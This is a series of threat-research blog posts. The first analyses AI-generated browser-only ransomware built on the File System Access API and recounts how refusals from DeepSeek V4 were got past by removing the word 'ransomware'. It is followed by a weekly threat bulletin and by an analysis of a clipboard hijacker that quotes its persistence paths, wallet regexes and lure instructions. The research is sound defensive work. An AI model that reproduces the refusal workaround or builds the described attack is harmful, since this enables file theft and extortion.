• Lower refusal rates for harmful cyber enforcement: compared with Anthropic and OpenAI, DeepSeek models were less consistent refusing harmful cyber requests, including the File System Access API implementation we will be discussing later on this article.
• Low barrier to access: DeepSeek is free to use via the web interface, widely available, and accessible in regions where other frontier models face regulatory or commercial restrictions. This lowers the cost of repeated malicious experimentation.
• End-to-end malicious code from a single prompt: in our testing, a working malicious application could often be generated from a single broad prompt. Achieving a comparable result with OpenAI or Anthropic typically requires decomposing the attack into multiple benign-looking requests and manually assembling the generated components.

Putting this all together, these differences make DeepSeek particularly attractive to threat actors: DeepSeek models can turn high‑level malicious ideas into concrete, complete attacks with less expertise than competing platforms.

Check Point Research analyzed nearly 3,000 files attributed to DeepSeek observed in public telemetry over the past year. The dataset included Python, PowerShell, Batch, HTML, JavaScript, VBScript, and other file types. Of these, 1,383 files were classified as malicious or dangerous by either VirusTotal detection or static source analysis. Within this dataset, we found a sample that implemented a dangerous browser-native technique we have not observed exploited in the wild. We refer to it as In-Browser Ransomware. The technique uses a phishing lure to persuade the victim to grant file-system access to a web page; once access is granted, the page can enumerate local files in the selected folder, read and exfiltrate their contents, encrypt and overwrite them, and display a ransom-style message, all without installing a native payload or exploiting the browser.

The underlying browser risk was already known to browser engineers. The File System Access specification explicitly lists ransomware as a security consideration, and the 2023 USENIX Security paper RoB: Ransomware over Modern Web Browsers studied the abuse of the File System Access API to encrypt local files from a malicious web application.

The important finding in our research and what is new, is how the AI model brought these previously documented concepts together, into a realistic and enforceable attack scenario leveraging a method that defenders had originally thought was unfeasible due to browser sandboxing limits: a DeepSeek-attributed malicious sample, generated as an all-in-one malware fantasy, connected this documented platform risk to a realistic phishing-style web application, demonstrating a viable end-to-end attack chain. An attacker does not need to know that a browser exposes a file-system API. They can ask for an impossible-sounding outcome – a website that steals files, captures keystrokes, takes screenshots, encrypts files, and demands payment – and the model may connect the request to a real browser capability. Basically, the AI model showed an ability to reason across existing knowledge and combined multiple known components into a coherent attack workflow that could be readily used by an attacker. This illustrates how frontier AI models may move beyond simply enhancing existing attacker techniques to lowering the expertise required to operationalize complex attack chains by connecting knowledge in ways that previously relied on human experience and creativity.

A Noisy Sample With One Important Idea

The sample that caught our attention is SHA256

07c39f79ab92fb21557b82283472dce1c112f577d796111fb752c3c6d84c86b5, a Python Flask application that serves victim-facing HTML and JavaScript from embedded templates and also includes backend routes intended to receive information from the victim and provide an administration panel.

We do not have the prompt submitted to the AI model that produced this sample. Judging by the code structure, function names, and comments, it was likely formulated very broadly such as something similar to this example: create a universal malicious tool that runs through the browser and collects as much victim data as possible, encrypts files, and demands ransom. In a single front-end, the generated code assembled routines and stubs for keylogging, clipboard monitoring, form and network-request interception, Discord-token collection, crypto-wallet and payment-card discovery, geolocation requests, webcam and microphone access, screenshots, local-file access, Chrome exploit stubs, “persistence,” and a ransomware-style overlay. This does not mean the sample actually implements all of these capabilities. A more accurate reading is that it is an AI-generated blueprint in which the model tried to translate familiar capabilities of native stealers and ransomware tools into a web page opened in the browser.

The victim-facing page is disguised as a Discord avatar AI upscaler:

Clicking the button on the victim-facing lure page is intended to start the malicious browser-side sequence, although the generated control flow is inconsistent and does not complete reliably. After a fake processing step, the page is intended to display a ransomnote-style overlay under the name InfernoGrabber v9.0. The message claims that passwords, credit cards, and personal files were encrypted, demands Bitcoin, and displays a countdown threatening publication of private data.

Most of the functionality claimed in the sample collapses at the browser boundary. A normal web page can observe activity inside its own origin, capture input events delivered to its own DOM, request browser-mediated permissions, access storage scoped to its own origin, and render frightening overlays. It remains constrained by the browser security model.

In this sample, the “desktop screenshot” routine captures the rendered web page, the keylogger observes keystrokes only while the user interacts with the page, webcam and microphone capture depend on browser permission prompts, and the Discord-token stealing logic searches storage available to the current origin. The “persistence” logic relies on browser storage and a service worker registration attempt.

Much of the sample therefore reads as an AI hallucination produced in response to an overly broad prompt or to requirements that a normal web page cannot satisfy. The exception was the file-access workflow, where the generated code reached for a real browser primitive with practical abuse potential.

The generated JavaScript referenced:

• showOpenFilePicker();
• showDirectoryPicker();
• recursive traversal of a user-selected directory;
• reading selected files through browser file handles;
• sending file contents to the Flask backend;
• displaying a ransomware-style warning after the interaction.

The File System Access API is a legitimate browser capability designed for web applications such as editors, IDEs, and creative tools. After the user grants access, a web application can read files and folders from the local device. The API also supports write access and directory enumeration under browser permission controls.

The technique is limited to browsers that expose the picker-based File System Access API. At the time of writing, this primarily means Chromium-family browsers: the API shipped on desktop in Chrome 86, and Chrome 132 extended File System Access support to Android and WebView. Firefox and Safari do not expose the same local file and directory picker methods, which limits the immediate attack surface but also concentrates the risk in Chrome-based browsing environments.

The sample lacked a complete and reliable browser-side encryption flow, yet the attack design was concrete: a fake utility convinces the user to grant browser file access, which allows the page to exfiltrate and encrypt files.

The model combined fake OS-level malware claims with a real browser primitive and produced a browser-native file-theft and ransomware scaffold. The sample shows how an LLM can transform an abstract malicious request into a new attack blueprint. The user likely wanted an all-in-one tool: a Discord-themed lure, a stealer, an admin panel, and a ransomware or locker workflow. The model chose a Flask application and a browser frontend as the unifying architecture. In doing so, it connected a hallucinated malware concept to a real platform feature with genuine abuse potential.

Even though we have not yet observed this exact browser-native ransomware pattern widespread in-the-wild campaigns, the technique is still operationally relevant for several reasons:

• The browser becomes the execution environment: the attack runs entirely inside the browser process, without installing any additional app, dropping a binary, or exploiting a vulnerability. Traditional endpoint protections focus on apps and native payloads; a website that encrypts files after a legitimate-looking permission sits outside those assumptions.
• Lower friction for victims: opening a web page and clicking “Allow” on a file-access prompt is a normal part of using modern web applications. Users do not intuitively treat this as “running malware”, which makes the social-engineering angle powerful.
• Cross-platform reach: the same browser-native technique can target any platform where the File System Access API is exposed, we tested on Android and Windows.

From Hallucinated Scaffold to Working PoC

Because the original sample was incomplete, we tested whether the latest DeepSeek model V4 could turn the same browser-native attack idea into a working proof of concept.

When prompted directly to create ransomware, the model consistently refused across all tested modes.

Even though some requests were denied, we managed to succeed in the end. We removed explicit terms such as “ransomware” while preserving the same functionality: a web page that asks the user for access to local files, processes them inside the browser, and leaves the user unable to recover the original content.

In Instant mode, DeepSeek consistently generated HTML/JavaScript code that used the File System Access API to interact with user-selected files.

In Expert mode, the behavior was inconsistent across attempts:

• several attempts ended in refusal;
• one generated a non-functional sample;
• one generated a fully working browser-based ransomware PoC.

One response was especially notable because the model described the result as:

“a crafted trap that combines a convincing AI upscaler interface with hidden ransomware-like behaviors”

This wording shows that the model recognized the malicious nature of the scenario while still continuing the generation.

For comparison, we tested similar requests against ChatGPT and Claude. In our tests, these systems either refused to help or generated constrained browser-safe implementations that did not use the File System Access API.

This does not mean that the same outcome is impossible with other frontier systems. With an incremental approach, a user can ask for separate components that appear benign in isolation, such as a user interface, browser file handling, client-side data transformation, and neutral status messaging, and then assemble them into a harmful workflow by replacing the neutral messages with a ransom note. The difference is the level of steering required. In that scenario, the user needs enough technical understanding to decompose the attack, preserve the malicious objective across separate requests, identify the right browser primitive, and combine the generated pieces manually.

In-Browser Ransomware on Android

To assess the practical risk of this technique, we used an LLM to build a controlled proof-of-concept (PoC) based on the same idea we observed in the DeepSeek-attributed sample: a browser-native ransomware workflow disguised as an AI image upscaler.

On Android, modern Chrome versions expose the picker-based File System Access API to web content. On iOS, Safari does not expose the same File System Access primitives to websites. Access to photos is mediated by the operating system’s app-sandbox and photo-library permissions instead of a web API that can enumerate and modify arbitrary folders. Chrome on iOS uses WebKit which also does not implement File System Access API. As a result, on mobiles, the technique we demonstrate is currently practical on Android Chromium browsers.

At the same time, the attack surface is narrower than arbitrary disk access. The picker-based File System Access API does not let a web page target the whole system disk, and Chromium applies additional restrictions to sensitive locations. In Chromium’s current implementation, broad access to locations such as the user’s home directory, Desktop, Documents, Downloads, Chrome data, application directories, Windows, Program Files, AppData, and several Linux and Android system paths is blocked or constrained. The File System Access specification also explicitly recommends restricting sensitive directories and lists ransomware as one of the risks the API design must account for.

However, selection of the root of the default Pictures and Videos directories was not restricted on any of the tested operating systems (Android and Windows). This capability fits naturally into a social-engineering workflow for a fake photo-processing application.

On desktop, the Pictures folder may contain personal files, but it is usually less central to business workflows than the user’s entire home directory or a Documents directory.

On mobile, the risk profile changes: the photo library is often one of the most valuable local data stores. It may contain years of private photos, identity documents, banking screenshots, medical records, recovery codes, travel documents, work images, and photos of family members. Losing access to this data, or having it exfiltrated, can create personal or business issues from ransomware to blackmail or if the data is sensitive, public disclosure leading to reputational damage and more. Chrome 132 introduced File System Access support on Android, allowing web applications, after user approval, to read and save changes directly to selected files and folders. We tested this capability on several Android devices and confirmed that the latest Chrome version available to us at the time of testing, Chrome 148, also allowed selecting the photo directory, including the root of the DCIM folder.

The workflow on Android looks very natural. The user opens a web page that promises to enhance a photo, selects an image, and is then asked to choose a directory for saving the “enhanced” results. The browser warning that the site will be able to edit files in the selected folder is easy to rationalize in that context: the user expects the service to write processed images back to the device. During the fake processing step, the PoC encrypts pictures inside the selected directory.

Video 1 – Demonstration of a browser-native ransomware PoC on Android using the File System Access API.

The combination of this technique, a natural social-engineering lure, and browser-only execution makes the Android scenario especially concerning. The resulting flow requires no APK installation, no vulnerability exploitation, no native payload, and no root access.

Users generally do not treat opening a web page as a malware execution event, especially when no application is installed and no binary is downloaded. In this case, the browser prompt appears in a context where file access feels expected, while the granted permission gives the page meaningful control over a directory that may contain highly sensitive personal data.

Practical Recommendations for Users

While this research focuses on a controlled PoC, there are concrete steps users can take today to reduce the risk of browser-native ransomware abuse:

Treat browser folder-access prompts as high-stakes decisions: before approving “access to files in a folder”, check which site is asking, which folder is being selected, and whether editing files is truly necessary for the feature you expect. If you are unsure why a site needs write access to an entire directory, decline the request.

Avoid granting websites access to sensitive or irreplaceable data: do not expose folders that contain personal photos, identity documents, recovery codes, or work data unless the site is highly trusted and the need is clear. Prefer selecting a temporary or empty folder for experimental web tools, rather than your main photo library.

Prefer well-established applications for high-value data: for tasks such as backing up photos, editing large collections, or processing sensitive images, use reputable native apps or well-known cloud services instead of newly discovered browser tools with unknown reputation.

Maintain offline and cloud backups of important data: regular backups reduce the leverage attackers gain from encrypting or deleting local files, whether through native ransomware or browser-based techniques.

Keep browsers and mobile OSes updated: browser and OS vendors continue to refine permission models and harden sensitive APIs. Applying updates promptly ensures that you benefit from the latest security controls around features like File System Access.

Be skeptical of AI-branded lures: attackers increasingly disguise malicious flows as “AI” utilities, avatar upscalers, photo enhancers, or productivity tools. A polished AI-themed interface is not a guarantee of safety; apply the same caution you would to any unfamiliar site asking for broad access to local files.

Conclusion

LLM-assisted malware development changes the economics of malicious experimentation. A user with limited technical understanding can describe a harmful outcome, generate code, test the result, adjust the prompt, and repeat the process at very low cost. Tasks that once required a developer, a purchased builder, or prior knowledge of the relevant platform can now be approached through cheap iteration.

This also changes the defender’s problem. Malware generated this way may move the ecosystem away from a limited set of reused families and builders toward a larger volume of disposable, one-off artifacts, each carrying a unique combination of techniques, API usage, and payload logic.

Hallucination adds another important dimension. AI-generated malware can be technically wrong and still reveal practical malicious techniques. When a model tries to satisfy unrealistic requirements, it may search across legitimate platform features and map a malicious goal to an API that actually exists. This process can surface techniques that defenders have not yet seen in the wild, or turn risks previously described mostly in theory into workable attack concepts. The case analyzed in this research shows exactly that: a noisy and partially broken artifact connected a theoretical browser risk to a practical browser-only ransomware technique.

In this case, the user likely asked for an impossible web application, a single browser page that behaves like a fully features stealer and ransomware agent. The model could not satisfy all of those requirements correctly, but in the process of trying, it searched across legitimate browser features and anchored part of the fantasy to a real API: the File System Access API.

This illustrates a broader risk:

• A non-expert attacker does not need to know that such an API exists or how to abuse it.
• By describing a high-level malicious outcome in natural language, they can cause the model to discover and connect the malicious goal to previously under-explored platform capabilities.
• The resulting prototype can then be refined into a working PoC with minimal additional prompting or manual editing.

In other words, AI is not only lowering the barrier for reimplementing existing malware techniques; it is also capable of bridging the gap between purely theoretical risks and practical, novel attacks that defender have not yet seen deployed in the wild.

Historically, new attack techniques emerged through human experimentation, experience, and creativity. Frontier AI changes that dynamic. Rather than being constrained by conventional thinking or established attacker playbooks, AI can reason across existing knowledge and synthesize it in unexpected ways, connecting known capabilities into practical attack chains. The real shift is not that AI is inventing entirely new vulnerabilities, but that it may identify combinations and attack paths that humans had not previously recognized or operationalized.

At the time of analysis, we found no evidence that this technique had been adopted as an in-the-wild malware pattern. The original DeepSeek-attributed sample was incomplete and failed to implement the full attack reliably. However, our testing showed how little effort is required to transform the same idea into a fully working implementation using modern LLMs. The resulting workflow is especially concerning on mobile devices, where a seemingly legitimate request for access to a photo directory can expose highly sensitive personal data to encryption, exfiltration, or both. From a defensive perspective, browser folder-access prompts should be treated as security decisions rather than routine clicks. Before granting a website access to an entire folder, users should review which site is asking, which folder is being selected, whether file modification is allowed, and whether the permission matches the action they intended. Users should avoid granting websites access to directories containing sensitive, private, or irreplaceable data whenever possible.

The post Browser-Only Ransomware: From LLM Hallucinations to a Practical Attack Technique appeared first on Check Point Research.

For the latest discoveries in cyber research for the week of 29th June, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

• Polymarket, a large cryptocurrency-based prediction market, has confirmed a supply chain attack after a third-party frontend vendor breach led to malicious JavaScript being injected into its website. Attackers tricked users into approving fraudulent transactions, stealing about $3 million from fewer than 15 accounts, while the backend remained unaffected.
• KDDI, a Japanese telecom operator, has reported a breach of its ISP email platform after detecting an intrusion on June 17. Up to 14.22 million email addresses and passwords may have been compromised across services from six ISPs, including J:COM and Biglobe.
• Indian electronics and semiconductor manufacturer Tata Electronics, a supplier to Apple and Tesla, has suffered a cyberattack and data breach. The company said IT systems were affected, while the World Leaks group claimed 630GB of data, including alleged supplier and customer documents.
• Brazil’s National Civil Defense warning platform, managed by telecom regulator Anatel, has faced a cyberattack that sent a fake “Extreme Alert” to phones across several regions. Officials took the system offline after the message reached users in Paraná, São Paulo, and Rio de Janeiro.
• The National Association of Insurance Commissioners, a US insurance regulatory standards body, has confirmed a cyberattack after ShinyHunters claimed theft of 3.1TB of data through an Oracle PeopleSoft zero-day. The group claimed access to regulatory filings, production logs, cloud configuration files, and other internal records.

AI THREATS

• Researchers have detailed EvilTokens, an AI-powered phishing-as-a-service operation abusing device-code authentication to steal Microsoft 365 tokens. Huntress observed a 1,380% surge in device-code phishing in early 2026, with AI-generated lures and automated workflows lowering attacker effort.
• Researchers have crafted a fake AI skill that hijacked more than 26,000 AI agents by abusing trusted marketplaces and Instagram ads in a supply chain attack. The package initially appeared clean, then used attacker-controlled external instructions after approval to trigger data exfiltration across agent platforms.
• LayerX researchers have demonstrated BioShocking AI, a technique that tricks agentic browsers into bypassing their guardrails. Test cases against ChatGPT Atlas, Perplexity Comet, Claude in Chrome, and other AI browsers showed how game-like prompts could expose credentials and user data.

VULNERABILITIES AND PATCHES

• Cisco has addressed CVE-2026-20245, a high-severity command injection flaw in Catalyst SD-WAN Manager that attackers exploited as a zero-day for months. The flaw allows an administrator to run root commands through a crafted file, affecting on-premises and Cisco-managed cloud deployments.
• Dify has released version 1.14.2 to fix four vulnerabilities in its open-source AI platform, including critical CVE-2026-41947 and CVE-2026-41948. The flaws could allow unauthenticated access and cross-tenant data exposure, including chat content and uploaded files.
• Ubiquiti UniFi OS is affected by three flaws, CVE-2026-34908, CVE-2026-34909, and CVE-2026-34910, which are reportedly being exploited against network appliances. The vulnerabilities allow unauthorized changes, file access, and command execution, with exploitation observed in Mirai botnet activity.

Check Point IPS provides protection against these threats (Ubiquiti UniFi OS Privilege Escalation (CVE-2026-34908), Ubiquiti UniFi OS Directory Traversal (CVE-2026-34909), Ubiquiti UniFi OS Command Injection (CVE-2026-34910))

• Langflow, an open-source AI workflow tool, is reportedly being targeted through exploitation of CVE-2026-55255, alongside ongoing mass exploitation of CVE-2026-33017. Attackers enumerated flow IDs to run victim pipelines and extract embedded API keys, while remote code execution enabled malware deployment and cloud credential theft.

Check Point IPS provides protection against this threat (Langflow Remote Code Execution (CVE-2026-33017))

THREAT INTELLIGENCE REPORTS

• Researchers have uncovered the FortiBleed campaign, which converts compromised FortiGate firewalls into passive credential stealers across 24 protocols. The operation targeted more than 430,000 devices worldwide and siphoned more than 110 million credentials.
• Researchers have attributed the StockStay espionage malware to Russia-linked Turla and described targeting of Ukrainian government and defense organizations. The malware evolved from a fake stock app to PDF reader and calculator lookalikes, delivered through phishing with malicious remote desktop configuration files.
• Researchers have revealed that the Chinese DCloud Uni-App framework powers at least 236,493 scam domains since 2022, including fake crypto exchanges, wallet drainers, WhatsApp phishing, and gambling schemes. Technical fingerprints suggest centralized operators, likely China-based, supporting a broad fraud ecosystem.
• Researchers have analyzed the FulcrumSec cloud extortion group targeting cloud-native organizations. The group exploits exposed credentials, unpatched applications, and misconfigured storage, then uses broad permissions to move across environments, collect data for months, and exfiltrate it using legitimate tools.

The post 29th June – Threat Intelligence Report appeared first on Check Point Research.

Key Points

• The threat actor uses multiple channels to promote and distribute a Rust clipboard hijacker, starting with a dedicated phishing page as the central hub and extending to GitHub and SourceForge projects promoted by fake accounts. A dedicated YouTube channel, using AI‑generated narrators, suspicious view spikes, and highly positive (likely coordinated) comments, further reinforces the illusion of popularity and trustworthiness.
• In addition, the threat actor’s tools were also promoted through posts on legitimate news websites. These articles appear to be either paid/promoted posts or content published via compromised news outlets, giving the malware extra legitimacy by placing it alongside trusted news content.
• The same illusion mechanism extends to VirusTotal, where some samples from this campaign receive benign votes and “safe” comments. Combined with the already low detection rate, this creates a misleading impression of safety that can influence both end users and reputation‑based detection systems.

Introduction

In this research, we analyze a clipboard hijacker campaign that is hidden inside a collection of “solutions” and “tools” that claim to give users an unfair advantage. These offers include Solana and Pump.fun sniper bots (automated tools that try to buy new tokens or meme coins faster than other traders), Aviator Predictor (software that claims to predict the outcome of the popular “Aviator” multiplier game), and several crash‑game “predictors” (programs that supposedly forecast when online betting games will stop and “crash”). The operation mainly targets users who are looking for shortcuts and quick profits—particularly crypto owners and online crash‑game gamblers and traders who are attracted by promises of automated gains and “predictable” outcomes.

To make this operation look legitimate and attractive, the threat actor has built an ecosystem across several platforms. A WordPress phishing site serves as the main landing page, while GitHub and SourceForge projects are used to host and distribute the files. These repositories show inflated engagement—such as high numbers of stars, forks, ratings, and downloads—likely generated by “Ghost Networks” of fake accounts. A YouTube channel, featuring AI‑generated narrators and suspicious spikes in views, promotes the same tools and adds another layer of social proof. In addition, the actor abuses sentiment and reputation signals on VirusTotal, where some samples from this campaign receive benign votes and “safe” comments. Combined with the already low detection rate, this creates a misleading impression of safety that can influence both end users and reputation‑based detection systems.

Behind this social‑engineering and promotion layer, the actual payloads delivered to victims are Rust‑based clipboard hijackers for both Windows and macOS. These binaries install persistence, continuously monitor the clipboard for strings that look like cryptocurrency wallet addresses, and replace them with attacker‑controlled wallets from large, embedded lists. The attacker‑controlled cryptocurrency wallets appear to have received multiple transactions, providing the actor with notable illicit gains.

Phishing Page

This phishing website promotes a mix of “edge” tools that all promise easy, unfair advantages. On one side, Solana / Pump.fun / DEX sniper bots claim they can automatically buy and sell new meme coins faster than other traders. On the other, Aviator Predictor and several Crash Predictors pretend to “decode” or “predict” crash‑game results so users can supposedly win more often. In most cases, victims are funneled to this site through links shared on social media, crypto forums, and Telegram channels. The clear targets are crypto owners, gamblers, and traders who are already looking for shortcuts and quick, automated gains.

The WordPress author is @JoseCmanXD, and the same name is used for the Telegram contact provided on the website.

From the website, the actor provides links to GitHub, SourceForge, and YouTube. Across these platforms, the associated content shows inflated engagement, including likely manipulated views and interactions, making the tools appear more popular and trustworthy than they really are.

This inflated engagement appears to be driven by the threat actor’s use of multiple Ghost Networks on each platform. These Ghost Networks consist of fake or low-quality accounts and channels that repeatedly promote his tools, boost view counts, and generate likes or comments, thereby creating a false sense of credibility and social proof for potential victims.

GitHub & SourceForge

The actor appears to operate at least six GitHub accounts to promote and distribute his malicious software. These accounts also seem to collaborate with each other, as they are sometimes listed as contributors to one another’s repositories.

The main accounts attributed to the threat actor are Decryptor-j, crash-predictor1, roblox-script1, hack-scripts, and stake-mines. Many of their repositories have received multiple stars and forks from various accounts. This activity appears to be the result of the threat actor’s use of GitHub Ghost Networks, where controlled or fake accounts repeatedly star and fork the repositories to create an illusion of popularity and trustworthiness.

In total, just from GitHub, there appear to be just over 5,000 downloads and potential infections originating from the accounts mentioned above. Of these, over 1,250 downloads are associated with the macOS version of the promoted software “Aviator Predictor”, also indicating an impact on Mac users. When we also consider downloads originating from other platforms and the phishing website itself, the overall number of downloads and potential infections significantly exceeds the figures observed on GitHub alone.

In addition to GitHub, the threat actor also promotes another similar platform on the phishing page, SourceForge. SourceForge allows users to rate projects and leave comments. On this platform, we again observe fake or coordinated accounts posting highly positive feedback, similar to the behavior seen on other platforms that support user engagement. This activity further reinforces a misleading impression of legitimacy and reliability around the malicious tools.

In general, SourceForge appears to have a smaller number of ghost accounts operating on its platform compared to other services observed in previous cases. Although we see relatively few comments or reviews, the download statistics seem highly manipulated, with a total of 44,485 downloads, the majority of which appear to originate from Pakistan and India.

It is interesting to note that the majority of downloads (37,460) appear to come from devices running Android. This is highly suspicious, as the developer currently offers only Windows and macOS versions. We cannot fully confirm this hypothesis, but a plausible explanation is the use of an Android farm to artificially inflate the download count on SourceForge.

YouTube & AI Usage

Another platform promoted through the phishing site is a YouTube channel showcasing the advertised “software” solutions. The videos have a relatively high number of views and likes, which likely helps attract additional victims and convinces them of the supposed effectiveness of these tools. Some older videos appear to target a Russian-speaking audience, suggesting that the threat actor initially focused on Russian-speaking user communities. More recent videos, however, appear to target a broader, global audience by using English.

Through the actor’s YouTube account, we again observe contact details that link the channel back to the WordPress site and the Telegram account @JoseCmanXD, further strengthening the attribution between these platforms and the same threat actor.

The videos have a substantial number of views, however, their view counts do not show organic growth. Instead, we observe suspicious spikes in views, which is consistent with the use of YouTube Ghost Networks, where bot accounts artificially engage with the videos to inflate view numbers and make them more attractive to potential viewers.

In the comment section, we observe highly positive engagement that is likely used to lure potential victims and make them trust the effectiveness of the showcased solution. Many of these accounts appear to be Ghost Accounts that are used to generate fake views and artificial engagement. We also observe comments from potentially real users complaining about the actual effectiveness of the tools, which further indicates that the promoted software does not work as advertised.

The YouTube video is styled to look like a genuine personal tutorial. It shows a desktop screen with visible mouse movements, as if a real user is demonstrating the “software” in real time. At the same time, an AI-generated narrator appears in the bottom-right corner, providing continuous instructions. This combination of on-screen activity and synthetic presenter is likely used to build trust and make the demonstration appear more authentic and convincing to potential victims.

The use of AI by cybercriminals is not limited to AI-assisted malware. Threat actors are constantly trying to incorporate these new technologies throughout the entire attack chain, including phishing, social engineering, content generation, and delivery mechanisms.

VirusTotal Upvotes Manipulation

Check Point Research has observed that some VirusTotal accounts post community comments and cast benign votes in an attempt to portray clearly malicious Indicators of Compromise (IOCs) as harmless. When this sentiment manipulation coincides with low antivirus detection rates, reputation-based detection systems may be more likely to misclassify these IOCs as benign, potentially allowing them to bypass security controls.

Reputation-based detection allows security teams to make fast, risk-informed decisions about files, URLs, and other network indicators by leveraging global threat intelligence, rather than relying solely on local detections. A key contributor to this intelligence ecosystem is VirusTotal, which aggregates malware and phishing indicators from dozens of security engines and community submissions. This shared visibility helps security vendors rapidly identify emerging threats and malicious infrastructure, strengthening reputation models when combined with their own telemetry and behavioral detection capabilities.

This specific threat actor has incorporated multiple Ghost Network services across GitHub, SourceForge, YouTube, and even VirusTotal. We systematically observed samples downloaded from the phishing site that not only had a low detection rate, but also showed positive engagement on VirusTotal, including upvotes and comments describing the binary as safe. This coordinated activity is likely intended to reduce suspicion and increase victims’ trust in the malicious files.

While the low detection rate itself is not caused by the positive engagement, the combination of low detections and seemingly positive community feedback creates a strong, but false, impression of safety.

Promotion via News Sites & Forums

While searching for traces of the Telegram handle @JoseCmanXD, we also found references on legitimate news websites. These posts appear to be advertisements promoting the tool’s supposed capabilities and include links back to the phishing page, further luring potential victims into downloading the malicious software.

Such posts could potentially be used to further legitimize the tool and make it appear trustworthy, as its capabilities are being advertised on legitimate news websites. This kind of exposure can mislead users into believing the solution is safe and reputable, when in reality it is part of a malicious campaign.

By searching further, we identified additional related posts from other news-oriented sources. All of these posts appear to have been published on the same day, April 27, 2026, suggesting a coordinated effort to promote the malicious tool within a short time frame.

The majority of these posts have since been taken down and now appear only as remnants in Google search results. It is unclear whether the threat actor published them through paid advertisements that were later removed by the news outlets after being notified of their malicious nature, or whether there is a malicious service—or a set of compromised news outlets—that offers this kind of fraudulent promotion on legitimate websites.

Beyond using news outlets, the actor also promotes the malicious tool on various forums, particularly those frequented by the targeted audience, such as cryptocurrency-focused communities.

The actor posted on BitcoinTalk.org a long-running online forum founded in the early days of Bitcoin, where users discuss cryptocurrencies, blockchain technology, mining, and related projects. While the site itself is legitimate and historically significant in the crypto community, anyone can post content, including promotions, investment opportunities, and potential scams.

Early signs of the actor’s activity were found on a hacking forum where the user has been active since 2019. In 2022, the user created a post titled BLACKHAT | Bitcoin Stealer | Advanced Builder | Tutorial | Clipper [Address Changer]+Re-Fud method, in which he shared a malicious crypto-related tool.

In addition to providing this malicious tool, the same account has shown interest in other topics such as GET UNLIMITED YOUTUBE VIEWS FREE. This activity could help explain the unusually high view counts and abnormal view spikes observed on the associated YouTube content.

Windows Version

The ‘solutions’ are downloaded as a ZIP archive and contain multiple files, the majority of which are unused throughout the execution of the malicious program. While the threat actor updates the main malicious sample every few weeks, the rest of the unused samples remain untouched.

SniperBot_Premium(Free)/
├── SniperBot_Premium(Free).exe
├── Sniper_TradingBot.Premium(Trial).exe.config
...
...
├── src/            
│   ├── config/
│   │   └── silkebin.exe
...
...

The victim needs to trigger SniperBot_Premium(Free).exe (or other related name depending on the “solution” promoted). This file is a simple .NET loader which executes the file located in src/config/silkebin.exe.

This Windows executable is a Rust-built cryptocurrency clipboard hijacker (clipper). It installs itself for persistence and then continuously monitors the user’s clipboard for cryptocurrency wallet addresses. When it detects a supported address format, it replaces the clipboard contents with an attacker‑controlled wallet address taken from an internal list. The sample achieves persistence by copying itself to %APPDATA%\\silke\\silke.exe and creating a shortcut in the Startup folder so it will automatically run at logon.

The malware creates a hidden window and registers as a clipboard listener using Windows APIs such as AddClipboardFormatListener, OpenClipboard, GetClipboardData, EmptyClipboard, and SetClipboardData. Each time the clipboard changes, it checks whether the new text matches the pattern of a cryptocurrency wallet address (for example, Bitcoin, Ethereum/EVM, Litecoin, Tron, XRP, Cardano, and others) using regular expressions.

If a match is found, the malware replaces the clipboard text with an attacker‑controlled address from a large internal list. This list contains over 15,500 wallet addresses: about 15,000 are Bitcoin-related (5,000 Bitcoin bech32, 5,000 Bitcoin legacy, and 5,000 Bitcoin P2SH), roughly 500 are Ethereum addresses, and the remaining entries include Bitcoin Cash/Gold, Monero, Dogecoin, Cardano, Litecoin, and other cryptocurrencies.

Currency	Regex	Attacker’s Wallets (Count)
Bitcoin Bech32	\\b(bc1)[A-Za-z0-9]{26,45}\\b	5000
Bitcoin Legacy (P2PKH)	\\b(1)[A-Za-z0-9]{26,35}\\b	5000
Bitcoin P2SH	\\b(3)[A-Za-z0-9]{26,35}\\b	5000
Ethereum / EVM	\\b(0x)[A-Za-z0-9]{40,46}\\b	501
Bitcoin Cash (CashAddr)	\\b(q)[A-Za-z0-9]{26,43}\\b	1
Bitcoin Cash (full prefix)	\\b(bitcoincash:)[A-Za-z0-9]{26,58}\\b	1
Bitcoin Gold	\\b(btg)[A-Za-z0-9]{26,43}\\b	1
Stellar (XLM)	\\b(G)[A-Za-z0-9]{26,40}\\b	1
Cardano legacy / others	\\b(A)[A-Za-z0-9]{26,40}\\b	1
Monero (spend key prefix 4)	\\b(4)[A-Za-z0-9]{90,98}\\b	1
Monero (integrated address)	\\b(8)[A-Za-z0-9]{90,98}\\b	1
Dogecoin	\\b(D)[A-Za-z0-9]{26,35}\\b	1
Cardano (Shelley)	\\b(addr1)[A-Za-z0-9]{26,108}\\b	1
Cardano (Byron)	\\b(DdzFF)[A-Za-z0-9]{26,108}\\b	1
Litecoin (L-prefix)	\\b(L)[A-Za-z0-9]{26,35}\\b	1
Litecoin (M-prefix)	\\b(M)[A-Za-z0-9]{26,35}\\b	1
Litecoin Bech32	\\b(ltc)[a-z0-9]{26,68}\\b	1
Zcash (t-address)	\\b(t1)[A-Za-z0-9]{26,36}\\b	1
Tron (TRX)	\\b(T)[A-Za-z0-9]{32,37}\\b	1
XRP (Ripple)	\\b(r)[A-Za-z0-9]{31,38}\\b	1

The attacker’s wallets appear to be replaced quite frequently. In many cases, it seems that once a malicious transaction is completed, the attacker swaps the used wallet for a new, “clean” one. Older samples of this variant contain fewer attacker-controlled wallets—typically only one per targeted currency—and also target fewer cryptocurrencies overall. The latest version expands this list to include additional cryptocurrencies that were not previously targeted, such as Bitcoin Gold, Stellar (XLM), Cardano legacy/Byron, and Dogecoin. At the same time, the attacker has removed support for one cryptocurrency in the new variant, Binance Chain.

Below is an example of how victims are tricked into sending money to the attacker’s wallet.

macOS Version

Through his website, GitHub-controlled repositories, and SourceForge projects, the threat actor is also targeting macOS users. The “solutions” provided for macOS are aimed at the same audience as the Windows versions, with the same ultimate goal of stealing cryptocurrency from victims.

The victim downloads a ZIP file from one of the sources mentioned above and finds, among other items, an instruction file named !!! READ THIS - RUN UNLOCKER IF APP IS BLOCKED.txt.

!!! READ THIS - RUN UNLOCKER IF APP IS BLOCKED INSIDE THE FOLDER !!

1- In Finder, Control-click (or right-click) unlocker (or unlocker.command).

2- Choose Open from the contextual menu.

3- In the dialog that appears, click Open again.	

 A small Terminal window or dialog will appear. Wait — it will automatically prepare and open HashScanner.

Unlocker Fixes HashScanner when you see an error like

"App is damaged and can't be opened" or "can't be opened because it is from an unidentified developer":

If this does not work, please contact @JoseCmanXD on telegram and include a screenshot of the error.

Thank you!

